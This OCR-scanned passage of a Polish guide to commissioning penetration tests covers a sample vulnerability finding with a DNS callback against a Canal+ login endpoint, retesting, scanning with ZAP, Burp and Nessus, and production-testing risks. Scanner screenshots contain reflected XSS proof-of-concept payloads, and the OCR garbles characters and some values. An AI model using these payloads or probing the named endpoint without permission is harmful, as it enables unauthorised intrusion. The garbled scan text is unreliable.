HTTP/1.1 2e@

Cache-Control: no-store
Content-Type: text/html;charset=UTF-8
Date: Wed, 15 Dec 2821 15:41:17 GMT
Connection: close

Server: nc+ app server

Rysunek 2. Przyktadowy opis podatnosci z testow aplikacji ICA
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Content-Length: 24057

[-]

<div class="box" id="login">

<form id="user-login" novalidate="novalidate" class="vod-modal-form" action="/cas/login"
method="post">

<div id="msg" class="alert alert-danger">Biedny login lub hasio.</div>
[-]

5. Po kilku minutach rejestrowana jest interakcja DNS na podang domene:

The Collaborator server received a DNS lookup of type AAAA for the domain name [..domena..].pl.

The lookup was received from IP address 91.232.176.226 at 2021-Dec-15 15:44:20 UTC
6. Informacja nt. adresu IP, z ktérego nastapita interakcja:

$ whois 91.232.176.226

% IANA WHOIS server

% for more information on IANA, visit http://www.iana.org
% This query returned 1 object

[-]

# whois.ripe.net

inetnum: 91.232.176.0 - 91.232.176.255
netname: Canal
country: PL

[-]

organisation: ORG-CCSz2-RIPE

org-name: ITI NEOVISION SPOLKA AKCYINA
org-type: OTHER

address: CANAL+ Cyfrowy Sp. z o.0.
[-]

Uwagi:

e Obserwowana interakcja najczesciej nastepuje z opdznieniem kilku/kilkunastu minut. Nie jest jasne,
co jest przyczyna opdznienia.

e Nie udato sie wydoby¢ zadnych danych wykorzystujac eksfiltracje po ustudze DNS.

e Nie zaobserwowano interakcji LDAP ani RMI. By¢é moze przyczyna jest blokada na zaporze ogniowej
(ang. firewall).

LokALIZACIA

POST https://icard0.pl.canalplus.com/cas/login, parametry: username, 1t

REKOMENDACIA

Nalezy zastosowac jedno z ponizszych rozwigzan:

Rysunek 2. Przyktadowy opis podatnosci z testéw aplikacji ICA

Retest

Gdy zakonczy sie proces implementacji poprawek do btedéw zgloszonych w ramach

raportu z testow penetracyjnych, mozna ponownie skontaktowac sie z wykonawca te-

stow i ustali¢ termin realizacji retestow. Jak juz wspomniatem weczesniej, ich celem jest

sprawdzenie, czy poprawki bezpieczenstwa zostaty skutecznie wdrozone. Nalezy przez

to

rozumie¢ zaréwno zweryfikowanie, czy scenariusz ataku opisany w raporcie nadal
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jest mozliwy do odtworzenia, czy juz nie, ale réwniez zbadanie jako$ci samej popraw-
ki. Moje do$wiadczenia pokazuja, ze niejednokrotnie podatno$ci doczekaly sie drugiej,
trzeciej, a nawet czwartej iteracji retestow, poniewaz wdrazane poprawKki albo nie byty
skuteczne, albo powodowaly wystapienie innego bledu bezpieczenstwa.

W przypadku retestOw wazny jest takze termin ich realizacji. Ponownie, bazujgc na
moim do$wiadczeniu, mozna zalozy¢, ze zlecanie wykonania retestu ma sens do sze-
$ciu miesiecy od czasu przekazania raportu z testéw bazowych. Po tym terminie za-
zwyczaj w systemie zachodzi tyle zmian, Ze sensowniejsze moze by¢ rozwazenie ponow-
nego wykonania kompleksowych testow.

0Odbior prac

Jezeli raport z testow penetracyjnych nie budzi watpliwos$ci lub zgloszone uwagi
zostaly w zadowalajacy spos6b zaadresowane, mozna przystapi¢ do odbioru prac. Za-
zwyczaj ten element procesu opiera sie na podpisaniu protokotu odbioru prac. Warto
rowniez na tym etapie zasygnalizowad, czy (i — mniej wiecej — kiedy) wykonaweca testow
moze spodziewac sie prosby o retest.

PROBUJEMY WELASNYCH St

Przedstawione do tej pory kroki opisywaly organizacje testow w przypadku zlecania ich
jako profesjonalnej ustugi. Narzedzia dostepne na rynku umozliwiaja jednak podjecie
proby wykonania podstawowego sprawdzenia bezpieczenistwa nawet bez specjalistycz-
nej wiedzy z zakresu testdw penetracyjnych. Dla jasnos$ci trzeba dodaé, ze tzw. skanery
podatnosci, o ktérych bedzie zaraz mowa, stanowia duza warto$¢ dodana i na pewno
warto z nich skorzysta¢, jednak wykonanie samego skanu automatycznego nie wy-
czerpuje definicji testu penetracyjnego. W podej$ciu klasycznym wazny jest czynnik
ludzki, czyli doswiadczony pentester, ktéry podejmuje sie préob wykrycia i wykorzystania
nieszablonowych podatnosci i btedéw.

Nie przedluzajac, sprawdzmy, jakie udogodnienia zapewniaja narzedzia dostepne na ryn-
ku. Postaram sie wymieni¢ i pokrétce opisa¢ mozliwosci skaneréw whudowanych w najlepiej
znane mi narzedzia, czyli: OWASP ZAP#, Burp Suite Professional* oraz Nessus*. Pierwsze
z nich, czyli ZAP, to narzedzie typu open source z licencja pozwalajaca na jego komercyj-
ne wykorzystanie bez wnoszenia optat. Burp i Nessus to narzedzia komercyjne, za ktore
trzeba zaptacié, jednak w obu przypadkach dostepna jest wersja testowa, wystarczajaca
w zupeodci do tego, by zbadac¢ ich mozliwosci i oceni¢ przydatnos$¢ w organizacji”.

Szybki skan aplikacji webowej z wykorzystaniem OWASP ZAP

Pomine proces instalacji ZAP-a, poniewaz nie odbiega on niczym od instalacji jakie-
gokolwiek innego oprogramowania.

* Opisanie tych konkretnych narzedzi nie ma charakteru ich promowania. Robie to, poniewaz znam ich mozliwosci
oraz jestem zadowolony z korzysci ptynacych z ich uzycia.
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W przypadku podstawowego badania bezpieczenstwa skanerem automatycznym w na-
stepnym kroku musimy wybra¢ opcje Automated Scan. W kolejnym oknie pozostanie tak
naprawde jedynie wprowadzenie adresu URL aplikacji, ktéra ma by¢ testowana (rysunek 3).

'XX) Sesja DomysIna - 20230228-202929 - OWASP ZAP 2.12.0
Tryb standardowy ~ || ] L R == ==l = =Rm = - A ) % @ meo @@ ]
+ | 4 szybkiStat # = Zadanie < Odpowiedz (7 Requester
@ Strony
ecoc|< Automated Scan
(= Kontel
[@1Dor | This screen allows you to launch an automated scan against an application - just enter its URL below and press 'Attack'.
@ stron: Nalezy pamietaé, aby atakowac¢ tylko te aplikacje, na ktére masz pozwolenie na testy.
URL to attack: https://training.securitum.com/burpstarter/ v @ Wybierz...
Use traditional spider:
Use ajax spider: with | Firefox Headless
& Atak Stop
Postep: Nierozpoczete
= Historia  © Szukaj [ Zagrozenia Wynik =
© @ | Filtry: Wyfacz & Eksport
ID  Zrédto  Req.Timestamp  Metody URL Code Powéd RTT Size Resp. Body Najwyzszy Alert Note Tagi ®

Zagrozenia 0 %0 20 P 0 Main Proxy: localhost:8080 Obecnie skanowane 40 &0 ®0 )0 @0 , 0 W0 #0

Rysunek 3. Konfiguracja skanu automatycznego w OWASP ZAP

Czas na uruchomienie skanu. W tym celu wybieramy przycisk ATak. Po chwili rozpocznie
sie proces skanowania serwera i aplikacji dostepnej pod okreslonym adresem. Postepy
prac bedziemy mogli §ledzi¢ w zakladce AKTYWNE SKANOWANIE, natomiast wyniki (wykryte
bledy i podatnosci) zostang wylistowane w zakladce ZAGROZENIA.

Dla aplikacji OWASP ZAP wykryt kilka bledéw dotyczacych braku lub niepoprawnie
skonfigurowanych nagléwkéw HTTP (rysunek 4). Co wazne, po rozwinieciu drzewa za-
grozen mozemy znalez¢ szczegdtowe informacje o bledach, w tym ich klasyfikacje CWES,
czy nawet proponowane rozwigzanie problemu.

£ Historia  ©, Szukaj [¥Zagrozenia # | Wynik #%Spider ) Aktywne Skanowanie 4=
@e /s ¢ S;tss Site Sc:‘i‘pting (Re_ﬂ'ec(ed) . N . nd N
: tps://t b I rt 4
| Zagrozenia (11) e n :lsgél raining.securitum.com/burpstarter/index.php
fu Cross Site Scripting (Reflected) Zaufanié‘ Medium
W POST: https://training.securitum.com/burpstarte| Parametr: "
'\:‘ /ébs:nc‘esof A",“_;:SFF T(t:‘;;‘ilmd Not Set (5) Atak: </strong><script>alert(1);</scRipt><strong>
giContentoscurityolicy: Sacer NOL e Dowéd:  </strong> <script>alert(1);</scRipt> <strong>
¥ Missing Anti-clickjacking Header (3) CWE ID: 79
#4 Cookie No HttpOnly Flag WASC D 8
BiCookie Without Secure Elag Zrédto:  Aktywne (40012 - Cross Site Scripting (Reflected))

 Cookie without SameSite Attribute

2 Strict-Transport-Security Header Not Set (7)

Input Vector: Form Query

Opis:
4 X-Content-Type-Options Header Missing (5) B . N - ”
# Information Disclosure — Sensitive ion in URL Cross_—snte Sc‘n pting ?(SS) to techn,kq ataku, lftora polega na odbiorze koz}lu dqstarclzonego przez osphe
. RIUve do instancji y moze byé klient
f Re-examine Cache-control Directives (2) Kii j lub w iu obiekt ki taki jak w

Zagrozenia 1 f23 (25 f2 Main Proxy: localhost:8080

Obecnie skanowane £ 0 £0 ®2 21 @0 /0 #HO0 #0

Rysunek 4. OWASP ZAP - wynik skanowania automatycznego

To nie bylo trudne, prawda?
Oczywiscie tak zrealizowany skan ma swoje ograniczenia. Przykladowo jezeli skano-
wana aplikacja udostepnilaby funkcje dopiero po zalogowaniu, skan uwzglednilby jedy-
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nie funkcje i zasoby dostepne dla uzytkownika zalogowanego. Dodatkowo ZAP wskazatl
wylacznie dos¢ proste do wykrycia bledy, jednak mimo to takie informacje moga stano-
wic wsparcie, a implementacja zalecen moze podnie$¢ w ogélnym rozrachunku poziom
bezpieczenstwa aplikacji.

Burp Scanner

Podobnie jak w przypadku OWASP ZAP, instalacja pakietu Burp Suite Professional sklada
sie ze standardowych krokéw. W celu wykonania automatycznego skanu musimy wybraé
opcje NEW SCAN.

[ BON New scan
2 Scan type
Scan details
© Crawl and audit
@ Crawl
Scan
configuration
URLs to scan
) Define the URLs to scan. Burp will begin crawling from these URLs, and by default will include everything beneath the specified URLs'
Application folders.
login
@ https://training.securitum.com/burpstarter/
Resource
pool
Protocol settings
o Scan using HTTP & HTTPS Scan using my specified protocols
> Detailed scope configuration
@ OK Cancel

Rysunek 5. Konfiguracja skanu w narzedziu Burp Scanner

W nowym oknie, podobnie, jak mialo to miejsce w przypadku OWASP ZAP, powinni$my
wskaza¢ adres URL aplikacji, ktéra zostanie zeskanowana (rysunek 5). W tym momencie
mozemy wybrac opcje ok lub przejs$¢ jeszcze do pozostaltych zakladek i dostosowac skan
do naszych potrzeb. Warto m.in. zapoznac sie z takimi opcjami, jak:
> SCAN CONFIGURATION — np. skan szybki, gleboki lub — po wybraniu opcji USE A cUsTOM
CONFIGURATION — dostosowany do naszych potrzeb.
> APPLICATION LOGIN — konfiguracja, ktéra pozwala wprowadzi¢ poswiadczenia, jakich
Burp uzyje do podjecia préby uwierzytelnienia w aplikacji. Jezeli podamy popraw-
ne poswiadczenia, z duzym prawdopodobienstwem sprawdzone zostang nie tylko
funkcje dostepne bez logowania, ale réwniez te osiggalne jedynie dla uzytkowni-
kéw uwierzytelnionych.
» RESOURCE POOL — to opcje, ktére okreélaja, ile réwnolegltych watkéw/zapytan Burp
moze wysta¢ do aplikacji. Ta opcja bedzie szczegélnie istotna w przypadku skanowa-
nia aplikacji na Srodowiskach produkcyjnych, gdy nie chcemy zakdcic¢ ich dzialania.
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Po wybraniu przycisku ok rozpocznie sie proces skanowania, ktérego postepy moze-
my $ledzi¢ w zakladce DASHBOARD, panel TASKS (rysunek 6).

[ ] [ ] Burp Suite Professional v2023.1.2 - Temporary Project - licensed to Securitum Audyty Sp. z o.0. sp.k [single user license]

Dashboard Target  Proxy Intuder  Repeater  Colaborator  Sequencer Decoder ~ Comparer  Logger Extensions Lean £} Settings.
Tasks ® Newiivetask BNORC RO T Sl ®.
V7 Fiter ( Running | | Paused | | Finished | | | Livetask ) ( Scan | | Intruder attack | O | Search 7 Fitter { High | | Medium | Low | | Info Certain | | Firm | Tentative = © | Search,

Audit checks - passive ssiess @ O O O # Task Time Action Issue type

- 0requests (0 errors) 6 3 20:38:40 28 Feb 2023 Issue found # Cookie without HitpOnly flag set

Capuring: (@D 5 3 40 28 Feb 2023 Issue found © Cross-domain Referer leakage

View detais 3> | ||| 4 3 40 28 Feb 2023 Issue found i’ Frameable response (potential Clickja
3 3 40 28 Feb 2023 Issue found © Emai addresses disclosed
3. Crawl and audit of training.securitum.com o |2 3 40 28 Feb 2023 Issue found i’ Frameable response (potential Clickia
o 1 3 20:38:40 28 Feb 2023 Issue found © Unencrypted communications
Crawl and Audit - Lightweight Issues: e 0
34 ©
Auditing. 15m maximum time remaining. requests (0 eriore)
Currently auditing: http://training.securitum.com .css 4 locations crawled  View detais )
Advi
Event log @5 ||l
T e D G @ oo P[5
Time Type Source Message
20:38:40 28 Feb 2023 Info Task 3 Audit started. 2]
20:38:40 28 Feb 2023 Info Task 3 Crawi finished. Z
20:38:40 28 Feb 2023 Info Task 3 Identifying items to audit. ]
20:38:23 28 Feb 2023 Info Task 3 Crawi started. z
20:35:14 28 Feb 2023 Info Proxy Proxy service started on *:8080 ©
Memory: 136.5MB [ 1 Disk:32KB [ ]

Rysunek 6. Podglad procesu skanowania w oknie DASHBOARD

Burp zwrdci liste wykrytych uchybien w panelu I1SSUE ACTIVITY. Po wybraniu okres$lonej
pozycji z listy mozemy zapoznac sie ze szczegélowym opisem znaleziska i rekomenda-
cjami (podobnie jak w ZAP; rysunek 7).

Issue activity @) &

Y/ Fiter | High ) ' Medium | ( Low | | Info Certain | | Firm | | Tentative L | search...

# Task Time Action Issue type
8 3 20:39:03 28 Feb 2023 Issue found O Cross-site scripting (reflected)
T 3 20:38:54 28 Feb 2023 Issue found © Input returned in response (reflecte:
6 3 20:38:40 28 Feb 2023 Issue found ¥ Cookie without HitpOnly flag set
Advisory Request Response

o Cross-site scripting (reflected)

Issue: Cross-site scripting (reflected)
Severity: High
Confidence: Certain

Host: http://training.securitum.com
Path: /burpstarter/index.php
Issue detail

The value of the email request parameter is copied into the HTML document as plain text
between tags. The payload k8n1d<script>alert(1)</script>I5wxd was submitted in the email
parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into
the application's response.

Rysunek 7. Po wybraniu okre$lonej pozycji z listy mozemy zapoznac sie ze szczegétowym opisem
podatnosci
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2 @0

My Scans
All Scans

Trash

Policies

Plugin Rules

Nessus

Ostatnim narzedziem, ktérego mozliwosci chce przedstawié, jest Nessus, ktéry po-
siada moduly sprawdzajace warstwe aplikacji webowej, jednak kojarzony jest gtéwnie
ze skanami w warstwie infrastruktury (sprawdzanie ustug dostepnych na okreslonych
portach UDP52 i TCP* pod katem znanych podatnosci).

Po zainstalowaniu narzedzia na komputerze dla uzytkownika dostepny bedzie inter-
fejs WWW. Program automatycznie uruchomi domyslna przegladarke pod wilasciwym
adresem (w chwili pisania tego tekstu byt to https:/localhost:8834/; rysunek 8).

Uruchomienie nowego skanu wymaga wybrania opcji NEw SCAN. W kolejnym kroku,
podobnie jak miato to miejsce w narzedziu Burp, Nessus daje uzytkownikowi mozliwo$¢
wyboru typu skanu. Kazdy z takich szablonéw profilowany jest pod konkretne zastoso-
wanie, np. wyszukanie danego typu podatnosci, jak Log4Shell*, czy tez testy kierowane
dla srodowisk Active Diectory (rysunek 8). Na potrzeby tekstu wybierzemy podstawowa
opcje, czyli BASIC NETWORK SCAN.

< 4 localhost ¢ h +

Scans Settings o 4 vooto

Scan Templates
< Back to Scans

Scanner

Host Discovery

Customized Reports

Terrascan

A u'b % V

Basic Network Scan Advanced Scan Advanced Dynamic Scan Malware Scan

Mobile Devi:ﬁ Web Application Tests Credentialed Patch Audit Intel AMT Security Bypass

Rysunek 8. Konfiguracja skanu

W kolejnym kroku musimy jedynie poda¢ nazwe skanu (pole NAME), adresy IP lub pule
adresowe, ktére powinny by¢ skanowane (pole TARGETS), a nastepnie wybrac opcje SAVE
(rysunek 9). W przypadku testdw na srodowisku produkcyjnym warto upewnic sie, czy
w ustawieniach skanu aktywna jest opcja ENABLE SAFE CHECKS, ktdra znajdziemy w zakladce
ADVANCED — GENERAL.
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< & localhost [ th +

Settings

Settings Credentials Plugins
My Scans
All Scans BASIC v "
General Settings
Trash General
Name Testo1
Schedule
Notifications
Policies Description
DISCOVERY
Plugin Rules
Customized Reports ASSESSMENT
Folder My Scans -
Terrascan REPORT
ADVANCED
Targets 192.168.88.245
Upload Targets Add File

Post-Processing

Live Results

sae |- I

Rysunek 9. Parametryzacja skanu

Po zapisaniu skanu Nessus zmieni widok na liste My scans. Uruchomienie skanu wymaga

wybrania przycisku LAUNCH dostepnego w prawej czesci listy (rysunek 10).

< localhost e h + O
Scans Settings @ A& root 0
My Scans Import New Folder
My Scans
All Scans
Trash
Name Schedule Last Scanned ~
Testo1 On Demand N/A

Policies
Plugin Rules

Customized Reports

Rysunek 10. Lista skanéw

Po uruchomieniu skanowania mozemy na biezaco $ledzi¢ postepy, wybierajac jeszcze
raz nasz skan z listy. Nessus zwraca wyniki w trzech zakladkach: HOSTS, VULNERABILITIES
oraz HISTORY. Pierwsza z nich listuje wszystkie hosty, ktére poddawane sa sprawdzeniu.
VULNERABILITIES to lista wykrytych podatnosci, a HISTORY prezentuje historie wykonanych
skanow. Jezeli uruchomimy dany skan wiecej niz raz, bedziemy mogli sprawdzic, jakie
wyniki byly zwracane w kolejnych iteracjach testow.

Dhugosc¢ skanu zalezy zazwyczaj wprost od liczby maszyn, ktére musza zostac¢ podda-
ne weryfikacji. W przypadku rozleglych sieci skanowanie, ktére trwa kilka godzin, nie
jest niczym nadzwyczajnym. Dla testowej maszyny Nessus wskazal sumarycznie az 36
podatnosci i rekomendacji (rysunek 11).
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Jak czesto przeprowadzac testy penetracyjne

Test01/192.168.88.245

< Back to Hosts

Configy

Vulnerabilities 36

Filter «
Sev v Score v Name Family « Count v Host Details
10.0*  NFS Exported Share Information ...~ RPC 1 IP: 192.168.88.245
DNS: machine00-pi.lan
10.0  Python Unsupported Version Dete... ~ Misc. 1 Os: Linux Kernel 2.6
Start: Today at 10:05 PM
13 Apache Httpd (Multiple Issues) ~ Web Servers 13
Vulnerabilities
m 2 Apache HTTP Server (Multipl... Web Servers 2
. ® Critical
m 59 SSL Anonymous Cipher Suites Sup... ~ Service detection 1 ‘ ® High
®  Medium
6 SSL(Multiple Issues) General 6 ‘Lofw
® Info
m 5 TLS(Multiple Issues) Service detection 5
Rysunek 11. Wyniki skanu
Nessus pozwala przeglada¢ wyniki skanéw z poziomu interfejsu webowego lub wy-
eksportowac je do jednego ze wspieranych formatéw (.pdf, .html, .csv). Podobnie jak
w przypadku narzedzi ZAP czy Burp, réwniez tutaj oprécz opisu podatnosci znajdziemy
podstawowe rekomendacje dotyczace kierunku, jaki nalezy obra¢, by wyeliminowac wy-
kryte podatnosci (rysunek 12).
NFS Exported Share Information Disclosure Plugin Details
Description Severity: Critical
At least one of the NFS shares exported by the remote server could be mounted by the scanning host. An attacker may be ID: 11356
able to leverage this to read (and possibly write) files on remote host. Version: 1.20
Type: remote
Solution Family: RPC
Configure NFS on the remote host so that only authorized hosts can mount its remote shares. Published: March 12, 2003
Modified: September 17,2018

Output
Risk Information

The following NFS shares could be mounted :
Risk Factor: Critical

¥ (REE D CVSS v2.0 Base Score: 10.0
CVSS v2.0 Vector:
To see debug logs, please visit individual host CVSS2#AV:N/AC:L/Au:N/C:C/1:C/A:C
Port « Hosts

Vulnerability Information
2049 /udp/rpenfsad g5 46888 245 &
Exploit Available: true

Rysunek 12. Szczegdty podatnosci

JAK CZESTO PRZEPROWADZAC TESTY PENETRACYJNE

Testy za nami. Powstaje wiec pytanie: co dalej? Czy uzasadnione jest twierdzenie,
ze przetestowany system lub infrastruktura otrzymujg bezterminowa gwarancje bez-
pieczenstwa? Niestety, tak nie jest. Poréwnanie, ktérego uzyje, nie jest idealne, ale mniej
wiecej oddaje istote sprawy. Test penetracyjny moze by¢ dla aplikacji lub systeméw
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czyms$ podobnym, jak okresowe badanie stanu technicznego dla samochodu. Co pewien
czas musimy w naszym dwus$ladzie wykonaé przeglad, ktéry ma na celu oceni¢ stan
techniczny pojazdu, a wiec i poziom bezpieczenstwa. W trakcie badania moga zostac
wykazane uchybienia, ale oczywiscie nie muszg. Mimo to badanie wykonac nalezy.

Turodzi sie kolejne pytanie: jak czesto wykonywac testy penetracyjne? Wedlug mojej
najlepszej wiedzy nie ma jednej, ustalonej formuty, ale postaram sie przekaza¢ wskazow-
ki, ktére moga pomdc dobra¢ odpowiedni interwat.

W pierwszej kolejnos$ci nalezy zweryfikowa¢, czy rozwigzania, ktérych jest sie wlasci-
cielem lub opiekunem, nie podlegaja ustawowym regulacjom, z géry narzucajacych,
co jaki okres nalezy wykonywa¢ testy bezpieczenstwa. Taka sytuacja dotyczy syste-
mow z sektora bankowego i finansowego, ale réwniez rozwigzan okolomedycznych. Jesli
infrastruktura podlega pod takie regulacje, najprawdopodobniej odpowiednia ustawa
narzuca réwniez przeglad bezpieczenstwa np. co rok.

Inny przypadek, w ktérym to nie do konca wiasciciel decyduje o interwale wykonywania
testow penetracyjnych, to sytuacje, gdy czas pomiedzy testami penetracyjnymi narzucany
jest przez kontrahenta. Niewykluczone, Ze firma, ktéra wdrozyla system, okreslita w umo-
wie, jak czesto nalezy dostarczy¢ raport podsumowujacy kolejne przeglady bezpieczenstwa.

Wiasciciel systemu, ktérego nie obejmuja zadne regulacje, moze sam zdecydowac
o0 odstepach miedzy kolejnymi testami. W mojej ocenie, bazujac na doswiadczeniu z pra-
cy z klientami i obserwujac, jak oni podchodza do tej kwestii, rekomenduje, by przyjaé
okres roku pomiedzy kolejnymi, okresowymi testami penetracyjnymi. Podobnie
wiec, jak ma to miejsce w przypadku przywolanej juz analogii do dbania o samochdd.
Okres roku to w Swiecie IT niesamowicie diugi czas. By sobie to uzmystowi¢, warto $le-
dzi¢ rézne serwisy agregujace informacje o publikowanych podatnosciach, np. exploit-
-db%, w ktérym prawie codziennie podawane sa informacje o nowych podatno$ciach
i eksploitach. Systemy, podobnie jak samochéd, beda wiec podlega¢ naturalnemu
procesowi starzenia - i to, co rok wczes$niej nie stanowilo problemu, przy kolejnej
iteracji testow moze zosta¢ wykazane jako blad i podatnos¢ wymagajaca naprawy.

Osobna kwestie stanowia przypadki, gdy aplikacja podlega procesowi ciaglego roz-
woju. Wtedy decyzje o okresowosci wykonywania testdw nalezy podejmowac po indy-
widualnej konsultacji z ekspertem ds. bezpieczenstwa IT. Najpewniej decyzja rozbije sie
o0 to, jak definiowac istotne zmiany w aplikacji i odrézni¢ je od tych, ktére nie wymagaja
zlecania testow bezpieczenstwa. Przykladowo zmiana tres$ci komunikatu, ktory w okre-
$lonej sytuacji wyswietla aplikacja, najprawdopodobniej nie wymaga testow penetracyj-
nych. Podobnie mniej lub bardziej kosmetyczne zmiany w arkuszu stylow CSS*. Jednak
modyfikacje dotyczace procesu uwierzytelnienia lub dodanie do aplikacji nowych end-
pointéw API realizujacych okreslona logike biznesowa z duzym prawdopodobienistwem
beda juz uzasadnialy wykonanie testéw. Nie uciekam w tym przypadku od przekazania
jasnych i precyzyjnych wskazéwek. Moim zdaniem takie sytuacje wymagaja indywidu-
alnego rozpatrzenia.

Oprdcz regularnych (okresowych) testoéw penetracyjnych warto rowniez rozwazyc¢
implementacje rozwiazan, ktore pozwola na ciagle monitorowanie bezpieczenstwa
samej aplikacji lub zaleznosci (bibliotek), z ktérych korzysta, np. w ramach procesu
CI/CD¥. Systemy takie jak Jenkis®® czy GitLab%® dajg mozliwo$¢ rozbudowania procesu
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Problemy, ryzyka i watpliwosci

o sprawdzanie kodu pod katem bled6éw bezpieczenstwa i podatnos$ci. Moze to by¢ szcze-
gblnie krytyczny element procesu bezpieczenstwa, np. w przypadku ogloszenia podat-
nosci typu Log4Shell.

PROBLEMY, RYZYKA | WATPLIWOSCI

W opisanych do tej pory krokach, z jakich sklada sie test penetracyjny, zalozono, ze wszyst-
ko idzie zgodnie z planem i po drodze nie wydarzylo sie nic nieprzewidzianego i nie-
bezpiecznego. Rzeczywisto$¢ wyglada jednak inaczej, bo testy penetracyjne wigza sie
z pewnym ryzykiem, ktdre, stosujac odpowiednie zasady, mozna wprawdzie znacznie
ograniczy¢, ale nalezy zawsze sie z nim liczy¢ i mie¢ Swiadomo$¢ jego istnienia.

Ryzyko ogadine

Testy penetracyjne maja na celu odtworzenie rzeczywistych atakow na systemy in-
formatyczne. Oznacza to, ze pentesterzy wykorzystuja szeroki arsenal technik oraz
narzedzi do tego, by przelamac zabezpieczenia testowanego rozwiazania. Czes$¢ z tych
dziatan w wyjatkowych sytuacjach moze wigzac sie z podwyzszonym ryzykiem narusze-
nia poufnodci, integralnosci oraz dostepnosci danych przetwarzanych przez system, jak
isamego systemu. Mowa tutaj oczywiscie o przypadkach, w ktérych, mimo kontrolowa-
nych warunkdéw realizacji prac, dochodzi do nieprzewidzianej niestabilnosci systemu
lub sytuacji, w ktérej pentester, wykonujac swoje dzialania, nieintencjonalnie naruszy
integralnos$¢ danych. Jest to nieodzowny element testow penetracyjnych. Mozliwo$¢ wy-
stapienia probleméw mozna ograniczy¢, podejmujac odpowiednie decyzje, ale nigdy
w przypadku testéw penetracyjnych prawdopodobieristwo wystapienia awarii sys-
temu nie hedzie zerowe.

Kopie zapasowe

Standardowa praktyka, motywowana nie tylko realizacja testow penetracyjnych, po-
winno by¢ wykonywanie kopii zapasowych systemow, ktére beda podlegaly testom pe-
netracyjnym. Sposdb, w jaki zostanie wykonana taka kopia, jest drugorzedny, natomiast
posiadanie kopii systemu to wymog, ktéry wykonawca testéw moze chcie¢ w interesie
zamawiajacego, ale réwniez i swoim, wprowadzi¢ nawet jako jeden z zapisow umowy.

Oczywi$cie nalezy uwzglednic fakt, ze w niektérych przypadkach przygotowanie pel-
nej kopii zapasowej nie bedzie mozliwe. Taka sytuacja ma miejsce m.in. wéwczas, gdy
testom podlega cala infrastruktura sieciowa. Utworzenie kopii bezpieczenstwa absolut-
nie kazdego systemu moze nie by¢ fizycznie mozliwe.

Srodowisko testowe a srodowisko produkcyjne

Zamawiajgcy testy wielokrotnie staja przed dylematem zwigzanym z wyborem $ro-
dowiska, w ktorym nalezy przeprowadzi¢ testy penetracyjne. Teoria mowi, ze zawsze le-
piej wykonywac testy w Srodowisku innym niz produkcyjne. Pozwala to zminimalizowa¢
ryzyko utraty danych, wplyniecia na produkcyjne procesy bhiznesowe i przeprowadzi¢
testy w duzo spokojniejszej atmosferze. Praktyka pokazuje jednak, Ze testy przepro-
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wadzane w Srodowiskach produkcyjnych nie sa niczym nadzwyczajnym. Nie dyspo-
nuje dokladna statystyka, lecz, w mojej ocenie, co najmniej %, a moze i wieksza liczba
testow realizowana jest w Srodowiskach produkcyjnych.

Powody takiego stanu rzeczy sa rozne. Najcze$ciej powtarzany argument sprowadza
sie do tego, ze firma nie dysponuje Srodowiskiem, ktére w dostateczny sposéb odwzo-
rowuje konfiguracje Srodowiska produkcyjnego. W takiej sytuacji decyzje o realizacji
testéw w Srodowisku produkcyjnym nalezy uznac za stuszna, mimo zwiazanego z nia
ryzyka. Konfiguracja srodowiska czy sposéb powigzania z systemami zaleznymi - to
wszystko moze mie¢ praktyczne przelozenie na wynik testow penetracyjnych, w tym
takze na ich znieksztalcenie.

Decyzja o realizacji testéw w Srodowisku produkcyjnym moze mie¢ negatywne kon-
sekwencje dla zespolu pentesteréw. W przypadku niektérych systemdéw, np. aplikacji
bankowych, moze zaj$¢ konieczno$¢ przeprowadzenia testow z wykorzystaniem praw-
dziwych danych pentestera. Taka sytuacja jest wysoce niepozadana i w mojej ocenie
nie powinna mie¢ miejsca. Problem sprowadza sie gtéwnie do koniecznosci udostepnie-
nia wlasnych danych osobowych (PESEL, nr dowodu) na potrzeby zalozenia konta oraz
tego, w jaki sposdéb przetwarzane beda dane wygenerowane i zgromadzone w trakcie
testow. Czy test bezpieczenstwa funkeji stuzacej do zaciggania pozyczek lub kredytow,
ktdéry sprowadza sie do wielokrotnych préb wykorzystania tej funkcji, moze wplynaé
negatywnie na ocene zdolnosci kredytowej pentestera? Czy wiasciciel aplikacji moze
zagwarantowad, ze taka sytuacja nie bedzie miala miejsca?

Kolejnym przypadkiem, w ktérym testy trzeba przeprowadzi¢ w srodowisku pro-
dukcyjnym, sa testy infrastruktury sieciowej. Ciezko sobie wyobrazi¢ przygotowanie
na potrzeby testéw penetracyjnych wiernej kopii calej infrastruktury. Jest to fizycznie
niemozliwe w pokaznej wiekszos$ci przypadkéw. W takiej sytuacji trzeba zda¢ sie na
do$wiadczenie zespotu pentesteréw i zwréci¢ uwage na krytyczne elementy infrastruk-
tury. DoSwiadczeni pentesterzy wiedzg, jakich atakow nie przeprowadzac, by uniknac
destabilizacji infrastruktury. Przy szacowaniu ryzyka warto réwniez uwzgledni¢ fakt,
iz infrastruktura zewnetrzna (WAN) co do zasady jest atakowana niemalze caty czas.
Rdznego typu skanery i nieautoryzowane testy penetracyjne sa przeprowadzane w try-
bie ciaglym. Gdyby wiec co$ mialo przesta¢ dziala¢, zapewne wlasciciele lub opiekuno-
wie takiej infrastruktury zauwazyliby to juz wcze$nie;j.

Srodowisko nie do korica testowe

Jezeli zapadla decyzja o realizacji testow w $rodowisku innym niz produkcyjne, nale-
zy przeprowadzic jeszcze jedno sprawdzenie. Upewnié sie, czy na pewno aplikacja lub
inny system nie laczy sie do produkcyjnej bazy danych lub innych produkcyjnych
systemow zaleznych. Taka pomylka moze wynika¢ np. z po$piechu. Osoba odpowie-
dzialna za uruchomienie lub konfiguracje srodowiska przygotuje kopie aplikacji, spraw-
dzi, czy dziala poprawnie, ale po pierwszej weryfikacji nie zauwazy, Ze dane pobierane
sa nadal z bazy produkcyjne;j.

WNIOSEK Podczas testow w Srodowisku innym niz produkcyjne dane nie powinny by¢ pobierane z bazy produkcyjnej.
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Inny wariant to przypadek, w ktédrym co prawda do testéw przekazane zostalo $ro-
dowisko testowe, ale uruchomione jest ono na tym samym serwerze (fizycznym lub wir-
tualnym). Zaklécenie dziatania aplikacji testowej, wygenerowanie nadmiernego ruchu
lub przeprowadzenie atakdw, ktére maja na celu weryfikacje mozliwo$ci wysycenia za-
sobow serwera, moze skutecznie unieruchomié¢ réwniez srodowisko produkcyjne.

WNIOSEK Srodowisko testowe i produkcyjne w przypadku testow aplikacji nie powinno wspotdzielié zasobow
